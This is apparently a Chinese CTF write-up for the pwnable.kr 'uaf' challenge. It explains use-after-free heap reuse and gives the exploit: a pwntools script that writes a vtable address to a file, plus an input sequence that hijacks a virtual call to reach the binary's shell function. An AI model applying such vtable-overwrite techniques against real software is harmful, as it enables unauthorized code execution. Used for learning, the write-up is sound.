zoukankan      html  css  js  c++  java
  • 【pwnable.kr】 uaf

    目测是比较接近pwnable的一道题。考察了uaf(use after free的内容),我觉得说白了就是指针没有初始化的问题。

    ssh uaf@pwnable.kr -p2222 (pw:guest)

    先看一下代码

    #include <fcntl.h>
    #include <iostream> 
    #include <cstring>
    #include <cstdlib>
    #include <unistd.h>
    using namespace std;
    
    class Human{
    private:
        virtual void give_shell(){
            system("/bin/sh");
        }
    protected:
        int age;
        string name;
    public:
        virtual void introduce(){
            cout << "My name is " << name << endl;
            cout << "I am " << age << " years old" << endl;
        }
    };
    
    class Man: public Human{
    public:
        Man(string name, int age){
            this->name = name;
            this->age = age;
            }
            virtual void introduce(){
            Human::introduce();
                    cout << "I am a nice guy!" << endl;
            }
    };
    
    class Woman: public Human{
    public:
            Woman(string name, int age){
                    this->name = name;
                    this->age = age;
            }
            virtual void introduce(){
                    Human::introduce();
                    cout << "I am a cute girl!" << endl;
            }
    };
    
    int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);
    
        size_t len;
        char* data;
        unsigned int op;
        while(1){
            cout << "1. use
    2. after
    3. free
    ";
            cin >> op;
    
            switch(op){
                case 1:
                    m->introduce();
                    w->introduce();
                    break;
                case 2:
                    len = atoi(argv[1]);
                    data = new char[len];
                    read(open(argv[2], O_RDONLY), data, len);
                    cout << "your data is allocated" << endl;
                    break;
                case 3:
                    delete m;
                    delete w;
                    break;
                default:
                    break;
            }
        }
    
        return 0;    
    }

    很明显的是有虚函数的继承,内存的申请,内存的释放,利用思路就是改函数的虚表地址达到执行命令的作用。

    执行的命令也不用写shellcode,源代码中的getshell函数就可以用。

    首先,UAF是个啥,名字叫Use-After-Use,就是释放后重用,是堆上的一种漏洞,就是在把申请的内存释放后,指向之前内存的指针没有重置为NULL,导致该指针还能访问原来的内存。

    这道题也是一样。当释放了w、m后,当再次调用w、m指针就会出问题。

    当然直接调用时不会重新执行w->introduct函数的,这是因为堆块会有分配和未分配两种状态,在状态转换时会修改堆块内容。

    当然,linux在堆分配中有一种快速分配机制,导致了该程序存在的漏洞。

    详细可以参考《C和C++安全编码》一书。

    在这道题中,如果想利用堆快速分配的机制,需要请求分配的堆块大小是一样的,即argv[1]=sizeof(Women)

    这个大小可以再汇编代码中找到

    0x18 = 24 所以argv[1]=24

    通过跟踪分配可以跟踪到虚表的内容,具体跟踪如下图: 

    可以发现,虚表地址是位于结构体内存的最前面8个字节。而函数的调用就是这个虚表指针+偏移

    比如Human->give_shell 就是 vTable_ptr + 0

    因此,仅需修改一个指针即可,再看修改位置,read函数是从argv[2]所指的文件中获取,所以要把这个地址写到文件中,并且不需要填充。

    写的内容需要调用give_shell函数,由于函数后来要调用introduce函数,地址是 vTable_ptr + 8,因此将虚表指针改写为0x401588即可。

    先写一个/tmp/p4nda文件,内容是0x401588:

    from pwn import *
    
    addr = 0x401588
    f = open('/tmp/p4nda',"wb")
    f.write(p64(addr))
    f.close

    再顺序执行3->2->2->1即可

     

    note:执行两次2的原因是分配的顺序是后释放先分配,而函数执行的顺序恰好是反过来的,因此需要执行两次,让m指针也被分配就可以了。

  • 相关阅读:
    Linux常用操作命令
    Linux下查看CPU型号,内存大小,硬盘空间命令
    PhpExcel中文帮助手册|PhpExcel使用方法
    PHP操作cookie函数:setcookie()与setrawcookie()
    利用phantomjs模拟QQ自动登录
    无法在同一张表上查询和更新的问题解决方法
    App开放接口api安全性—Token签名sign的设计与实现
    开放api接口签名验证
    bootstrap字体图标
    booatrap中的表格样式
  • 原文地址:https://www.cnblogs.com/p4nda/p/7149870.html
Copyright © 2011-2022 走看看